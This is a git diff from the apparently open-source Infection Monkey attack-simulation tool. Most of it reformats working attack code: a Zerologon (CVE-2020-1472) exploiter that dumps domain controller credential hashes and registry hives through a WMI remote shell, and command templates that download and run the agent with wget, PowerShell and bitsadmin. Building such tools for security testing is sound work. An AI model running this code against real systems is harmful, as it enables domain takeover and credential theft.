cmdline) + LOG.info( + "Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + cmdline, + ) - self.add_vuln_port(port='unknown') + self.add_vuln_port(port="unknown") success = True else: - LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", - remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline) + LOG.debug( + "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " + "cmdline=%r)", + remote_full_path, + self.host, + result.ProcessId, + result.ReturnValue, + cmdline, + ) success = False result.RemRelease() diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index aa82d78c5..019bf8291 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -1,11 +1,13 @@ """ Zerologon, CVE-2020-1472 -Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. +Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and +https://github.com/risksense/zerologon/. """ import logging import os import re +import tempfile from binascii import unhexlify from typing import Dict, List, Optional, Tuple @@ -17,12 +19,10 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump -from infection_monkey.exploit.zerologon_utils.vuln_assessment import ( - get_dc_details, is_exploitable) +from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture - LOG = logging.getLogger(__name__) @@ -40,6 +40,10 @@ class ZerologonExploiter(HostExploiter): self.exploit_info["credentials"] = {} self.exploit_info["password_restored"] = None self._extracted_creds = {} + self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") + + def __del__(self): + self._secrets_dir.cleanup() def _exploit_host(self) -> bool: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) @@ -56,7 +60,8 @@ class ZerologonExploiter(HostExploiter): else: LOG.info( - "Exploit not attempted. Target is most likely patched, or an error was encountered." + "Exploit not attempted. Target is most likely patched, or an error was " + "encountered." ) return False @@ -120,9 +125,7 @@ class ZerologonExploiter(HostExploiter): request["AccountName"] = dc_name + "$\x00" request["ComputerName"] = dc_name + "\x00" - request[ - "SecureChannelType" - ] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request["Authenticator"] = authenticator def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: @@ -135,7 +138,8 @@ class ZerologonExploiter(HostExploiter): self.report_login_attempt(result=False, user=self.dc_name) _exploited = False LOG.info( - f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong." + f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something " + f"went wrong." ) return _exploited @@ -151,9 +155,7 @@ class ZerologonExploiter(HostExploiter): LOG.debug("DCSync; getting usernames and their passwords' hashes.") user_creds = self.get_all_user_creds() if not user_creds: - raise Exception( - "Couldn't extract any usernames and/or their passwords' hashes." - ) + raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") @@ -165,15 +167,11 @@ class ZerologonExploiter(HostExploiter): user_details[1]["nt_hash"], ] try: - original_pwd_nthash = self.get_original_pwd_nthash( - username, user_pwd_hashes - ) + original_pwd_nthash = self.get_original_pwd_nthash(username, user_pwd_hashes) if original_pwd_nthash: break except Exception as e: - LOG.info( - f"Credentials didn\'t work. Exception: {str(e)}" - ) + LOG.info(f"Credentials didn't work. Exception: {str(e)}") if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -187,9 +185,7 @@ class ZerologonExploiter(HostExploiter): # Start restoration attempts. LOG.debug("Attempting password restoration.") - _restored = self._send_restoration_rpc_login_requests( - rpc_con, original_pwd_nthash - ) + _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") @@ -206,7 +202,8 @@ class ZerologonExploiter(HostExploiter): def get_all_user_creds(self) -> List[Tuple[str, Dict]]: try: options = OptionsForSecretsdump( - target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + # format for DC account - "NetBIOSName$@0.0.0.0" + target=f"{self.dc_name}$@{self.dc_ip}", target_ip=self.dc_ip, dc_ip=self.dc_ip, ) @@ -233,7 +230,8 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.info( - f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}" + f"Exception occurred while dumping secrets to get some username and its " + f"password's NT hash: {str(e)}" ) return None @@ -244,9 +242,7 @@ class ZerologonExploiter(HostExploiter): username: str = "", options: Optional[object] = None, ) -> List[str]: - dumper = DumpSecrets( - remote_name=remote_name, username=username, options=options - ) + dumper = DumpSecrets(remote_name=remote_name, username=username, options=options) dumped_secrets = dumper.dump().split("\n") return dumped_secrets @@ -280,9 +276,7 @@ class ZerologonExploiter(HostExploiter): self._extracted_creds[user]["nt_hash"], ) - def add_extracted_creds_to_exploit_info( - self, user: str, lmhash: str, nthash: str - ) -> None: + def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: self.exploit_info["credentials"].update( { user: { @@ -295,9 +289,7 @@ class ZerologonExploiter(HostExploiter): ) # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config( - self, user: str, lmhash: str, nthash: str - ) -> None: + def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: if user not in self._config.exploit_user_list: self._config.exploit_user_list.append(user) @@ -315,24 +307,21 @@ class ZerologonExploiter(HostExploiter): options = OptionsForSecretsdump( dc_ip=self.dc_ip, just_dc=False, - system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), - sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), - security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), + system=os.path.join(self._secrets_dir.name, "monkey-system.save"), + sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"), + security=os.path.join(self._secrets_dir.name, "monkey-security.save"), ) - dumped_secrets = self.get_dumped_secrets( - remote_name="LOCAL", options=options - ) + dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options) for secret in dumped_secrets: - if ( - "$MACHINE.ACC: " in secret - ): # format of secret - "$MACHINE.ACC: lmhash:nthash" + if "$MACHINE.ACC: " in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" nthash = secret.split(":")[2] return nthash except Exception as e: LOG.info( - f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}" + f"Exception occurred while dumping secrets to get original DC password's NT " + f"hash: {str(e)}" ) finally: @@ -340,14 +329,18 @@ class ZerologonExploiter(HostExploiter): def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: LOG.info( - f'Starting remote shell on victim with credentials:\n' - f'user: {username}\n' - f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : ' - f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}' + f"Starting remote shell on victim with credentials:\n" + f"user: {username}\n" + f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " + f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" ) wmiexec = Wmiexec( - ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip + ip=self.dc_ip, + username=username, + hashes=":".join(user_pwd_hashes), + domain=self.dc_ip, + secrets_dir=self._secrets_dir, ) remote_shell = wmiexec.get_remote_shell() @@ -361,7 +354,8 @@ class ZerologonExploiter(HostExploiter): + "reg save HKLM\\SECURITY security.save" ) - # Get HKLM keys locally (can't run these together because it needs to call do_get()). + # Get HKLM keys locally (can't run these together because it needs to call + # do_get()). remote_shell.onecmd("get system.save") remote_shell.onecmd("get sam.save") remote_shell.onecmd("get security.save") @@ -387,25 +381,17 @@ class ZerologonExploiter(HostExploiter): def remove_locally_saved_HKLM_keys(self) -> None: for name in ["system", "sam", "security"]: - path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") + path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save") try: os.remove(path) except Exception as e: - LOG.info( - f"Exception occurred while removing file {path} from system: {str(e)}" - ) + LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def _send_restoration_rpc_login_requests( - self, rpc_con, original_pwd_nthash - ) -> bool: + def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: for _ in range(0, self.MAX_ATTEMPTS): - restoration_attempt_result = self.try_restoration_attempt( - rpc_con, original_pwd_nthash - ) + restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) - is_restored = self.assess_restoration_attempt_result( - restoration_attempt_result - ) + is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) if is_restored: return is_restored @@ -415,9 +401,7 @@ class ZerologonExploiter(HostExploiter): self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str ) -> Optional[object]: try: - restoration_attempt_result = self.attempt_restoration( - rpc_con, original_pwd_nthash - ) + restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) return restoration_attempt_result except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. @@ -481,9 +465,7 @@ class ZerologonExploiter(HostExploiter): def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: if restoration_attempt_result: - LOG.debug( - "DC machine account password should be restored to its original value." - ) + LOG.debug("DC machine account password should be restored to its original value.") return True return False diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index b196528e7..f76fe361b 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -131,12 +131,11 @@ class DumpSecrets: try: self.connect() except Exception as e: - if ( - os.getenv("KRB5CCNAME") is not None - and self.__do_kerberos is True - ): - # SMBConnection failed. That might be because there was no way to log into the - # target system. We just have a last resort. Hope we have tickets cached and that they + if os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True: + # SMBConnection failed. That might be because there was no way to + # log into the + # target system. We just have a last resort. Hope we have tickets + # cached and that they # will work LOG.debug( "SMBConnection didn't work, hoping Kerberos will help (%s)" @@ -165,11 +164,13 @@ class DumpSecrets: and os.getenv("KRB5CCNAME") is not None and self.__do_kerberos is True ): - # Giving some hints here when SPN target name validation is set to something different to Off. - # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. + # Giving some hints here when SPN target name validation is set to + # something different to Off. + # This will prevent establishing SMB connections using TGS for SPNs + # different to cifs/. LOG.error( - "Policy SPN target name validation might be restricting full DRSUAPI dump." - + "Try -just-dc-user" + "Policy SPN target name validation might be restricting full " + "DRSUAPI dump." + "Try -just-dc-user" ) else: LOG.error("RemoteOperations failed: %s" % str(e)) @@ -211,7 +212,8 @@ class DumpSecrets: LOG.debug(traceback.print_exc()) LOG.error("LSA hashes extraction failed: %s" % str(e)) - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. + # NTDS Extraction we can try regardless of RemoteOperations failing. It might + # still work. if self.__is_remote is True: if self.__use_VSS_method and self.__remote_ops is not None: NTDS_file_name = self.__remote_ops.saveNTDS() @@ -234,7 +236,8 @@ class DumpSecrets: except Exception as e: LOG.debug(traceback.print_exc()) if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: - # We don't store the resume file if this error happened, since this error is related to lack + # We don't store the resume file if this error happened, since this error + # is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() if resume_file is not None: @@ -242,7 +245,8 @@ class DumpSecrets: LOG.error(e) if self.__use_VSS_method is False: LOG.error( - "Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter" + "Something wen't wrong with the DRSUAPI approach. Try again with " + "-use-vss parameter" ) self.cleanup() except (Exception, KeyboardInterrupt) as e: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py index 32cdfe40f..0745dc4c6 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/options.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -35,9 +35,11 @@ class OptionsForSecretsdump: target=None, target_ip=None, ): - # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py + # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in + # ../zerologon.py self.dc_ip = dc_ip - # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py + # just_dc becomes False, and sam, security, and system are assigned in + # get_original_pwd_nthash() in ../zerologon.py self.just_dc = just_dc self.sam = sam self.security = security diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index 146d58615..15429eb4a 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__) class RemoteShell(cmd.Cmd): CODEC = sys.stdout.encoding - def __init__(self, share, win32Process, smbConnection, outputFilename): + def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir): cmd.Cmd.__init__(self) self.__share = share self.__output = "\\" + outputFilename @@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd): self.__transferClient = smbConnection self.__pwd = str("C:\\") self.__noOutput = False + self.__secrets_dir = secrets_dir # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: @@ -83,9 +84,7 @@ class RemoteShell(cmd.Cmd): newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) - local_file_path = os.path.join( - os.path.expanduser("~"), "monkey-" + filename - ) + local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename) fh = open(local_file_path, "wb") LOG.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) @@ -136,8 +135,10 @@ class RemoteShell(cmd.Cmd): self.__outputBuffer += data.decode(self.CODEC) except UnicodeDecodeError: LOG.error( - "Decoding error detected, consider running chcp.com at the target,\nmap the result with " - "https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py " + "Decoding error detected, consider running chcp.com at the target," + "\nmap the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings\nand " + "then execute wmiexec.py " "again with -codec and the corresponding codec" ) self.__outputBuffer += data.decode(self.CODEC, errors="replace") @@ -148,9 +149,7 @@ class RemoteShell(cmd.Cmd): while True: try: - self.__transferClient.getFile( - self.__share, self.__output, output_callback - ) + self.__transferClient.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find("STATUS_SHARING_VIOLATION") >= 0: @@ -166,9 +165,7 @@ class RemoteShell(cmd.Cmd): def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: - command += ( - " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" - ) + command += " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" self.__win32Process.Create(command, self.__pwd, None) self.get_output() diff --git a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py index 3470dd39a..467c41d69 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/vuln_assessment.py @@ -23,14 +23,15 @@ def _get_dc_name(dc_ip: str) -> str: """ nb = nmb.NetBIOS.NetBIOS() name = nb.queryIPForName( - ip=dc_ip, - timeout=MEDIUM_REQUEST_TIMEOUT + ip=dc_ip, timeout=MEDIUM_REQUEST_TIMEOUT ) # returns either a list of NetBIOS names or None if name: return name[0] else: - raise DomainControllerNameFetchError("Couldn't get domain controller's name, maybe it's on external network?") + raise DomainControllerNameFetchError( + "Couldn't get domain controller's name, maybe it's on external network?" + ) def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]): @@ -44,9 +45,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v # Try authenticating. for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS): try: - rpc_con_auth_result = _try_zero_authenticate( - zerologon_exploiter_object, rpc_con - ) + rpc_con_auth_result = _try_zero_authenticate(zerologon_exploiter_object, rpc_con) if rpc_con_auth_result is not None: return True, rpc_con_auth_result except Exception as ex: @@ -56,9 +55,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v return False, None -def _try_zero_authenticate( - zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5 -) -> rpcrt.DCERPC_v5: +def _try_zero_authenticate(zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5) -> rpcrt.DCERPC_v5: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 flags = 0x212FFFFF diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 1beaafddd..70f3d5a07 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__) class Wmiexec: OUTPUT_FILENAME = "__" + str(time.time()) - def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): + def __init__( + self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None + ): self.__ip = ip self.__username = username self.__password = password self.__domain = domain self.__lmhash, self.__nthash = hashes.split(":") self.__share = share + self.__secrets_dir = secrets_dir self.shell = None def connect(self): @@ -95,9 +98,7 @@ class Wmiexec: wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - self.iWbemServices = iWbemLevel1Login.NTLMLogin( - "//./root/cimv2", NULL, NULL - ) + self.iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: @@ -109,7 +110,7 @@ class Wmiexec: self.connect() win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir ) return self.shell diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 945ccd8cf..5d6947952 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -6,6 +6,7 @@ import os import sys import traceback from multiprocessing import freeze_support +from pprint import pformat # dummy import for pyinstaller # noinspection PyUnresolvedReferences @@ -17,29 +18,28 @@ from infection_monkey.model import DROPPER_ARG, MONKEY_ARG from infection_monkey.monkey import InfectionMonkey from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path -__author__ = 'itamar' - LOG = None -LOG_CONFIG = {'version': 1, - 'disable_existing_loggers': False, - 'formatters': { - 'standard': { - 'format': - '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s' - }, - }, - 'handlers': {'console': {'class': 'logging.StreamHandler', - 'level': 'DEBUG', - 'formatter': 'standard'}, - 'file': {'class': 'logging.FileHandler', - 'level': 'DEBUG', - 'formatter': 'standard', - 'filename': None} - }, - 'root': {'level': 'DEBUG', - 'handlers': ['console']}, - } +LOG_CONFIG = { + "version": 1, + "disable_existing_loggers": False, + "formatters": { + "standard": { + "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" + "funcName)s.%(lineno)d: %(message)s" + }, + }, + "handlers": { + "console": {"class": "logging.StreamHandler", "level": "DEBUG", "formatter": "standard"}, + "file": { + "class": "logging.FileHandler", + "level": "DEBUG", + "formatter": "standard", + "filename": None, + }, + }, + "root": {"level": "DEBUG", "handlers": ["console"]}, +} def main(): @@ -56,7 +56,7 @@ def main(): config_file = EXTERNAL_CONFIG_FILE arg_parser = argparse.ArgumentParser() - arg_parser.add_argument('-c', '--config') + arg_parser.add_argument("-c", "--config") opts, monkey_args = arg_parser.parse_known_args(sys.argv[2:]) if opts.config: config_file = opts.config @@ -70,13 +70,20 @@ def main(): except ValueError as e: print("Error loading config: %s, using default" % (e,)) else: - print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,)) + print( + "Config file wasn't supplied and default path: %s wasn't found, using internal " + "default" % (config_file,) + ) - print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) + formatted_config = pformat(WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())) + print(f"Loaded Configuration:\n{formatted_config}") # Make sure we're not in a machine that has the kill file - kill_path = os.path.expandvars( - WormConfiguration.kill_file_path_windows) if sys.platform == "win32" else WormConfiguration.kill_file_path_linux + kill_path = ( + os.path.expandvars(WormConfiguration.kill_file_path_windows) + if sys.platform == "win32" + else WormConfiguration.kill_file_path_linux + ) if os.path.exists(kill_path): print("Kill path found, finished run") return True @@ -95,29 +102,31 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # If log exists but can't be removed it means other monkey is running. This usually + # happens on upgrade # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. try: os.remove(log_path) except OSError: pass - LOG_CONFIG['handlers']['file']['filename'] = log_path + LOG_CONFIG["handlers"]["file"]["filename"] = log_path # noinspection PyUnresolvedReferences - LOG_CONFIG['root']['handlers'].append('file') + LOG_CONFIG["root"]["handlers"].append("file") else: - del LOG_CONFIG['handlers']['file'] + del LOG_CONFIG["handlers"]["file"] logging.config.dictConfig(LOG_CONFIG) LOG = logging.getLogger() def log_uncaught_exceptions(ex_cls, ex, tb): - LOG.critical(''.join(traceback.format_tb(tb))) - LOG.critical('{0}: {1}'.format(ex_cls, ex)) + LOG.critical("".join(traceback.format_tb(tb))) + LOG.critical("{0}: {1}".format(ex_cls, ex)) sys.excepthook = log_uncaught_exceptions - LOG.info(">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", - monkey_cls.__name__, os.getpid()) + LOG.info( + ">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid() + ) LOG.info(f"version: {get_version()}") @@ -128,9 +137,16 @@ def main(): monkey.start() if WormConfiguration.serialize_config: - with open(config_file, 'w') as config_fo: + with open(config_file, "w") as config_fo: json_dict = WormConfiguration.as_dict() - json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': ')) + json.dump( + json_dict, + config_fo, + skipkeys=True, + sort_keys=True, + indent=4, + separators=(",", ": "), + ) return True except Exception as e: diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 4f3f2c27d..c8cf5aa1c 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,29 +1,43 @@ from infection_monkey.model.host import VictimHost # noqa: F401 -__author__ = 'itamar' - MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" ID_STRING = "M0NK3Y3XPL0ITABLE" # CMD prefix for windows commands -CMD_PREFIX = "cmd.exe /c" -DROPPER_CMDLINE_WINDOWS = '%s %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) -MONKEY_CMDLINE_WINDOWS = '%s %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) -MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,) -GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' -DROPPER_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(dropper_path)s %s' % (CMD_PREFIX, DROPPER_ARG,) -MONKEY_CMDLINE_DETACHED_WINDOWS = '%s start cmd /c %%(monkey_path)s %s' % (CMD_PREFIX, MONKEY_ARG,) -MONKEY_CMDLINE_HTTP = '%s /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s' \ - '&cmd /c %%(monkey_path)s %s"' % (CMD_PREFIX, MONKEY_ARG,) -DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & ' \ - 'if not exist %(file_path)s exit)) > NUL 2>&1 ' +CMD_EXE = "cmd.exe" +CMD_CARRY_OUT = "/c" +CMD_PREFIX = CMD_EXE + " " + CMD_CARRY_OUT +DROPPER_CMDLINE_WINDOWS = "%s %%(dropper_path)s %s" % ( + CMD_PREFIX, + DROPPER_ARG, +) +MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % ( + CMD_PREFIX, + MONKEY_ARG, +) +DROPPER_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(dropper_path)s %s" % ( + CMD_PREFIX, + DROPPER_ARG, +) +MONKEY_CMDLINE_DETACHED_WINDOWS = "%s start cmd /c %%(monkey_path)s %s" % ( + CMD_PREFIX, + MONKEY_ARG, +) +DELAY_DELETE_CMD = ( + "cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & " + "if not exist %(file_path)s exit)) > NUL 2>&1 " +) # Commands used for downloading monkeys -POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \ - "monkey_path)s\' -UseBasicParsing\" " +POWERSHELL_HTTP_UPLOAD = ( + "powershell -NoLogo -Command \"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(" + "monkey_path)s' -UseBasicParsing\" " +) WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = ( + "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s" +) CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable @@ -33,13 +47,17 @@ GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" # All in one commands (upload, change permissions, run) -HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ - " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ - "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" -HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" +HADOOP_WINDOWS_COMMAND = ( + "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " + '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' +) +HADOOP_LINUX_COMMAND = ( + "! [ -f %(monkey_path)s ] " + "&& wget -O %(monkey_path)s %(http_path)s " + "; chmod +x %(monkey_path)s " + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" +) DOWNLOAD_TIMEOUT = 180 diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index d71446108..892004eb3 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -1,8 +1,5 @@ -__author__ = 'itamar' - - class VictimHost(object): - def __init__(self, ip_addr, domain_name=''): + def __init__(self, ip_addr, domain_name=""): self.ip_addr = ip_addr self.domain_name = str(domain_name) self.os = {} @@ -41,7 +38,7 @@ class VictimHost(object): victim += "] Services - [" for k, v in list(self.services.items()): victim += "%s-%s " % (k, v) - victim += '] ICMP: %s ' % (self.icmp) + victim += "] ICMP: %s " % (self.icmp) victim += "target monkey: %s" % self.monkey_exe return victim diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py index 1e9eba9c2..444c4a5ee 100644 --- a/monkey/infection_monkey/model/victim_host_generator.py +++ b/monkey/infection_monkey/model/victim_host_generator.py @@ -31,7 +31,7 @@ class VictimHostGenerator(object): for address in net_range: if not self.is_ip_scannable(address): # check if the IP should be skipped continue - if hasattr(net_range, 'domain_name'): + if hasattr(net_range, "domain_name"): victim = VictimHost(address, net_range.domain_name) else: victim = VictimHost(address) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3a5c5619f..86697cd8f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,6 @@ import time from threading import Thread import infection_monkey.tunnel as tunnel -from infection_monkey.network.tools import is_running_on_island from common.utils.attack_utils 